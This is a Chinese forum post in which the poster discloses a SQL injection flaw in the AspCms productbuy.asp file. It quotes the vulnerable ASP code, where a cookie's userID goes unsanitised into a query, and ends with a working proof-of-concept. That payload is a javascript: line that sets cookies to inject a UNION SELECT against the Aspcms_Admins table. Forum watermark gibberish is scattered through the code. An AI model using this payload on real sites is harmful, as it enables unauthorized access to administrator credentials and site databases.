好久没上土司了,上来一看发现在删号名单内.....( ~$ p4 m2 ], N4 r+ _ `
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。, T( T% R# c9 q$ d2 C
废话不多说,看代码:! M4 P& V& C. c- K+ _
0 b. C6 r( F, T+ g2 e/ Q<%
1 {# @" G* w$ e' f8 V6 r9 _/ K7 o
if action = "buy" then
, s8 t. Z! y, W% }5 S; F2 y- N( b+ p5 _! s
addOrder()- n. d# l! A4 s3 c0 i8 m: @
( N) q: B' ?! v9 p5 G( felse
6 U2 } V6 i1 z: d. h6 ]' N F# X8 z& g4 @
echoContent()
, U1 h- j& ?* b8 l& X" H- Z6 {
: ]0 U& K1 I. ^" ?( s1 h8 Rend if8 L. {* o0 Z! K5 o ~5 m
}! U/ Q, P3 c1 i$ t, g# I% y" p. ~1 R& C
" O1 }! X' k, H* E
……略过. S3 ^/ y! d, [0 l: r6 j
' L# \( d! w1 g, k: a4 I+ f1 T3 e4 e5 Z9 ~
* n8 M0 R0 y. x& v1 A# v1 m. jSub echoContent()5 {( u, S" |8 ?
) c8 S6 j5 C4 X& i
dim id0 T6 W$ [, Z0 ?" w4 B2 M1 ~
6 m2 H* C1 u1 l! g% N# T
id=getForm("id","get")
# j% d' K8 J& a5 \1 T: ]) A. b4 o0 o4 _7 O8 u3 J" E6 H
2 b R1 C3 |- N! ~& H
8 H+ I, F6 {% d if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" ' E& G5 u) S- z* s. g
/ I( d7 F" z3 I. Z2 |
$ ]: M) X9 m8 h
, D* U- e6 g2 [# N2 j+ Y7 T dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")2 @. X! @. ?+ ?) ~$ J; p
K7 N- D: ^3 V' ^ dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct. ~9 u& g+ G+ \5 }& @7 B
5 N3 s# F; t8 P4 ? J j Dim templatePath,tempStr Z( m. r& g& t& u( }1 K. F
Z8 l" ~8 k' K" c5 o p templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html". @8 l- K) F; S( b" M( ?
$ {# X5 _7 Z: f* q4 K( V6 U. U* P% }. ?1 _5 I
( }. V/ C5 j5 @5 Q9 }# b set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
( u# O) x8 l7 b* l& g, P
' d8 x3 n& Z4 H' F- C( @, r* @ selectproduct=rsObj(0)
$ X. m# }( r5 |9 q
) Y6 q' i; ^/ [5 Z7 S. f0 |$ W+ |
7 R3 v8 Q4 e% a; \2 H( D- \( c- ^
Dim linkman,gender,phone,mobile,email,qq,address,postcode8 O2 r9 i! E7 l! T
" }9 P5 K! N' ?( k/ s if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
% x7 q/ w# t, K' X: s0 N6 }! ?2 X$ N) c( j$ w: Q1 c1 `4 X* t
if rCookie("loginstatus")=1 then
4 Z" H- @- e5 r, [7 D K' ^# m
* \5 o5 C% W! h9 i set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")3 |" H a- G( O8 d
1 c: s; _9 H( _3 v: | linkman=rsObj("truename")
8 z7 g% p0 _) Y8 J
1 b4 ~6 M1 U2 u' O" H gender=rsObj("gender")
$ q; }; b7 C: u2 |, E% Q4 {
/ z: N) |$ [. z* G" Z \ phone=rsObj("phone")3 k5 [ E, C2 P" N0 m5 b
6 s- G% I Z; A mobile=rsObj("mobile")5 G6 h/ W& e& E% `7 U: H2 Q. C9 e
3 B6 K, I8 d' w$ L5 c' c8 z
email=rsObj("email")
) }7 J% @" c) |4 i) B0 \$ U9 H1 Y* u1 I
qq=rsObj("qq")# e$ H5 e' @( `
$ l2 T# [$ @( C5 |# V- t$ L6 z, j+ a
address=rsObj("address")
3 @3 T2 o. i1 V n h# }8 I* v: y- J* y; `$ v# s
postcode=rsObj("postcode")5 ?& m5 ?2 A) c6 N6 E
7 d5 F T& ?6 T/ u
else ! }) @8 ~0 V" W- ?& y) G+ P. I8 C0 Y
5 E( `8 u% j: ^
gender=1
; k$ B7 s" O' }9 N# H
7 x& A e o4 {" } \' o end if
: `1 r: w. A3 Z# N
) S* t$ R4 G% Q0 F% W rsObj.close()+ o* O% w: v5 `9 x1 }) `
5 P. v2 m2 G# U' n3 A% W0 N9 a N
! K) H# y; W" |! z7 s
4 @! n* o7 C& }/ P9 \8 w
with templateObj
! X9 h6 j" E' m5 j Y+ U4 U z3 ?+ E( Z1 ]5 R6 t
.content=loadFile(templatePath) 9 Z: h! [. m5 |
- n9 ]6 k4 f9 b4 C) M6 ?" V .parseHtml()4 m% o" k# n2 f5 B
; o3 O9 t: w3 P2 _ .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
$ t6 |$ z3 P3 U* F2 M3 R& X' v
{* w% q( O5 {2 a# E0 A* e .content=replaceStr(.content,"[aspcms:linkman]",linkman) ( F; M( D2 c8 x' _0 ^1 S- R, T/ w
' `4 H% b9 L: N4 K5 n0 e .content=replaceStr(.content,"[aspcms:gender]",gender) 0 `8 U3 F9 C$ K4 S( B( z* T- c
2 S8 f2 ?* N$ S' \9 } .content=replaceStr(.content,"[aspcms:phone]",phone)
9 b5 U/ A2 y8 j4 c1 |
* n3 `" @2 F/ b+ c! j( Z* \) Q .content=replaceStr(.content,"[aspcms:mobile]",mobile)
Y- W, P& H* K; s a/ _7 m
- p: f1 H% F- y! j/ I- u .content=replaceStr(.content,"[aspcms:email]",email) & x& }+ e& m. \7 {1 c% K+ @( u( @
) k n c) N4 }
.content=replaceStr(.content,"[aspcms:qq]",qq)
; i- V s: E" ^; q
" G7 ]( T% Q( `6 H) c8 K2 a s .content=replaceStr(.content,"[aspcms:address]",address)
, f+ M& h& r2 L1 \# t* y
; ^2 i$ K2 G3 s .content=replaceStr(.content,"[aspcms:postcode]",postcode)
! \' f& U l& f/ m# e! q: Q* K4 o& z" a8 F6 k
.parseCommon() $ a4 ^) S, s3 q& h% }8 {
& {) `. P9 ?8 r, K( @: a) b
echo .content : v: k6 G. L4 r! Q% t @8 w% }
. f b E% B7 o; G' D( n- F end with
. D% K& e4 C- \' x6 ^3 k+ G/ u, I* C6 K' N; V R; u
set templateobj =nothing : terminateAllObjects
/ p. j+ N2 }% ~0 t$ ^/ [, _1 o8 r4 }% C; ?7 C9 b" N
End Sub; _% L+ h% y2 E6 F7 }
漏洞很明显,没啥好说的
9 Q0 J1 v( d( ypoc:
% j% ]* w, c5 [% n8 s5 n z2 }; `
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
7 ^0 |" _( r5 H: ]! I# c6 y# Y$ I. q8 T; l
|